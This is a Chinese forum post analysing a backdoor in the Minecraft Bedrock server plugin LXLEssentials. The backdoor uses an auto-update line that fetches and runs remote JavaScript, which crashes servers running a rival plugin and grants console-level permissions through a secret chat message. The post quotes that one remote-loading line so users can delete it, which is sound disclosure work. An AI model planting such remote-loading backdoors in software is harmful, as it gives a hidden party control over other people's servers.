讨论 LXLEssentials插件行为分析

ShrBox

神必壬

注册
2019/06/15
消息
165
金粒
98,274.30金粒
[MD] [该插件原资源贴存档](https://web.archive.org/web/20220407142425/https://www.minebbs.com/resources/lxlessential.2836/) [Github](https://github.com/LiteLScript-Dev/LXLEssential) [Github存档](https://web.archive.org/web/20220408030749/https://github.com/LiteLScript-Dev/LXLEssential) 该插件为开源插件,开源于Github上,理论上在插件内添加后门并且不被发现是十分困难的 但是借由插件的自动更新系统,加后门的想法得以实现 通过阅读该插件[源代码](https://github.com/LiteLScript-Dev/LXLEssential/blob/main/LXLEssential.js#L46),我们发现,该插件在每次启动时会从`liteldev-lxl.coding.net`下载`LXLETAutoUpdate.js`(**注意,此域名与LiteLDev无关,该插件开发者也不是LiteLDev的一员,更没有为LiteLoaderBDS贡献过任何代码**),而coding.net上的项目是不能直接访问的,这为自动下载恶意代码创造了前提条件 [/MD]
1649387477655.png
[MD] 在4月7日当晚,有用户反馈服务器启动就崩溃,经过查看,该插件在启动时会从`liteldev-lxl.coding.net`下载`LXLETAutoUpdate.js`调用LLSE内置的`crash()`方法,于是我们访问该url下载到了该文件,却看到了一些经过加密的js代码 [/MD]
1649388008761.png
通过解密,我们得到了以下代码
QQ图片20220408113329.png
[MD] 经过阅读,也就解决了我们的疑惑,当该插件加载了下载到的`LXLETAutoUpdate.js`后,`LXLETAutoUpdate.js`会删除自身并添加定时执行`update()`函数的任务,而该函数会遍历LLSE插件列表,并在发现了`TMETAutoUpdate.js`后执行`crash()`函数以崩溃服务器 插件还通过`mc.listen`监听玩家聊天,并在发送指定聊天内容时更改玩家的权限等级为4(控制台) 该后门最早出现在2022年2月1日 [/MD]
1649388488374.png
若您的服务器过于依赖LXLEssentials
请删除位于LXLEssential.js第46行的代码
JavaScript:
lxl.require("LXLETAutoUpdate.js", "https://liteldev-lxl.coding.net/p/lxlessential/d/LXLEssential/git/raw/main/LXLETAutoUpdate.js");
 
最后编辑:

在线管理成员

在线会员

  • _Chinyou
  • jxld
  • keys123
  • 无情1111111
  • 秋落vvs
  • 闽东阿杰
  • Red_Maple_233
  • sdjisj
  • 疯美西螈
  • chongyang
  • HYyy
  • 蒜大人
  • zsdr
  • zhuobaozb
  • 刀哥
  • jabm
  • ge-集权
  • User.Time
  • 完全
  • YUS2026
...和 12 更多。
后退
顶部 底部